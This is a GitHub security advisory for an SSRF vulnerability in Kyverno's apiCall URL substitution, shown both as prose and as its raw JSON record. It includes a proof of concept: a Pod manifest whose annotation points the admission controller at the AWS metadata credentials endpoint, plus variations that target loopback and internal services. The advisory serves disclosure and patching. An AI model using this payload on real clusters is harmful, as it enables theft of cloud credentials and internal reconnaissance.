GHSA-QR4G-8HRP-C4RW

Vulnerability from github – Published: 2026-04-14 20:05 – Updated: 2026-04-14 20:05
VLAI
Summary
Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints.

When a ClusterPolicy uses apiCall.service.url with variable substitution (e.g. {{request.object.*}}), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions.

The issue becomes non-blind SSRF, as response data from internal services can be reflected back to the user via admission error messages.


Details

Kyverno supports variable substitution in apiCall.service.url, a documented feature intended to enable dynamic external lookups during admission control.

However, the current implementation lacks fundamental safeguards in the HTTP execution path:

Missing protections

  • No URL validation
    User-controlled input is directly embedded into the request URL without validation or normalization.

  • No IP filtering
    Requests can target:

  • Loopback (127.0.0.1)
  • Link-local (169.254.0.0/16)
  • Cloud metadata services (e.g. AWS IMDS)
  • Internal ClusterIP services

  • Redirect handling not restricted
    The Go HTTP client uses default redirect behavior (CheckRedirect == nil), allowing up to 10 redirects without re-validation of the target.

  • Response data reflection in admission errors
    Response bodies are propagated back to the user in admission responses under certain conditions.

Non-blind SSRF behavior

The vulnerability is non-blind through two mechanisms:

  1. Non-2xx responses
    Response body is returned in admission error messages (e.g. executor.go:98-101)

  2. 2xx responses with non-JSON content
    Parsing failures (JSON/JMESPath) include response snippets in error output

This allows attackers to retrieve data from internal services directly via kubectl output.


PoC

Preconditions

  1. A ClusterPolicy using:
apiCall:
  service:
    url: "http://{{ request.object.metadata.annotations.target }}"
  1. An authenticated user able to create matching resources (e.g. Pods)

Step 1 — Create malicious resource

apiVersion: v1
kind: Pod
metadata:
  name: ssrf-test
  annotations:
    target: "169.254.169.254/latest/meta-data/iam/security-credentials/"
spec:
  containers:
  - name: test
    image: nginx

Step 2 — Apply resource

kubectl apply -f pod.yaml

Step 3 — Observe output

Example output:

Error from server: admission webhook "kyverno" denied the request:
failed to process apiCall: <response body from metadata service>

Variations

  • Internal services: http://kubernetes.default.svc
  • Loopback: http://127.0.0.1:8080
  • Redirect chains to bypass naive filters

Impact

Vulnerability class

  • Server-Side Request Forgery (SSRF)
  • Non-blind data exfiltration

Affected scope

  • Kubernetes clusters using Kyverno policies with apiCall.service.url and variable substitution

Impact details

  • Access to internal services (ClusterIP, localhost)
  • Access to cloud metadata endpoints (e.g. IMDSv1 → credential exposure)
  • Internal network reconnaissance
  • Multi-tenant boundary weakening

This issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a critical attack chain.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.17.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T20:05:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints.\n\nWhen a `ClusterPolicy` uses `apiCall.service.url` with variable substitution (e.g. `{{request.object.*}}`), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions.\n\nThe issue becomes **non-blind SSRF**, as response data from internal services can be reflected back to the user via admission error messages.\n\n---\n\n### Details\n\nKyverno supports variable substitution in `apiCall.service.url`, a documented feature intended to enable dynamic external lookups during admission control.\n\nHowever, the current implementation lacks fundamental safeguards in the HTTP execution path:\n\n#### Missing protections\n\n- **No URL validation**  \n  User-controlled input is directly embedded into the request URL without validation or normalization.\n\n- **No IP filtering**  \n  Requests can target:\n  - Loopback (`127.0.0.1`)\n  - Link-local (`169.254.0.0/16`)\n  - Cloud metadata services (e.g. AWS IMDS)\n  - Internal ClusterIP services\n\n- **Redirect handling not restricted**  \n  The Go HTTP client uses default redirect behavior (`CheckRedirect == nil`), allowing up to 10 redirects without re-validation of the target.\n\n- **Response data reflection in admission errors**  \n  Response bodies are propagated back to the user in admission responses under certain conditions.\n\n#### Non-blind SSRF behavior\n\nThe vulnerability is **non-blind** through two mechanisms:\n\n1. **Non-2xx responses**  \n   Response body is returned in admission error messages (e.g. `executor.go:98-101`)\n\n2. **2xx responses with non-JSON content**  \n   Parsing failures (JSON/JMESPath) include response snippets in error output\n\nThis allows attackers to retrieve data from internal services directly via `kubectl` output.\n\n---\n\n### PoC\n\n#### Preconditions\n\n1. A `ClusterPolicy` using:\n```yaml\napiCall:\n  service:\n    url: \"http://{{ request.object.metadata.annotations.target }}\"\n```\n\n2. An authenticated user able to create matching resources (e.g. Pods)\n\n---\n\n#### Step 1 \u2014 Create malicious resource\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: ssrf-test\n  annotations:\n    target: \"169.254.169.254/latest/meta-data/iam/security-credentials/\"\nspec:\n  containers:\n  - name: test\n    image: nginx\n```\n\n---\n\n#### Step 2 \u2014 Apply resource\n\n```bash\nkubectl apply -f pod.yaml\n```\n\n---\n\n#### Step 3 \u2014 Observe output\n\nExample output:\n\n```text\nError from server: admission webhook \"kyverno\" denied the request:\nfailed to process apiCall: \u003cresponse body from metadata service\u003e\n```\n\n---\n\n#### Variations\n\n- Internal services:\n  http://kubernetes.default.svc\n- Loopback:\n  http://127.0.0.1:8080\n- Redirect chains to bypass naive filters\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Server-Side Request Forgery (SSRF)\n- Non-blind data exfiltration\n\n#### Affected scope\n- Kubernetes clusters using Kyverno policies with `apiCall.service.url` and variable substitution\n\n#### Impact details\n\n- Access to internal services (ClusterIP, localhost)\n- Access to cloud metadata endpoints (e.g. IMDSv1 \u2192 credential exposure)\n- Internal network reconnaissance\n- Multi-tenant boundary weakening\n\nThis issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a **critical attack chain**.",
  "id": "GHSA-qr4g-8hrp-c4rw",
  "modified": "2026-04-14T20:05:52Z",
  "published": "2026-04-14T20:05:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-qr4g-8hrp-c4rw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…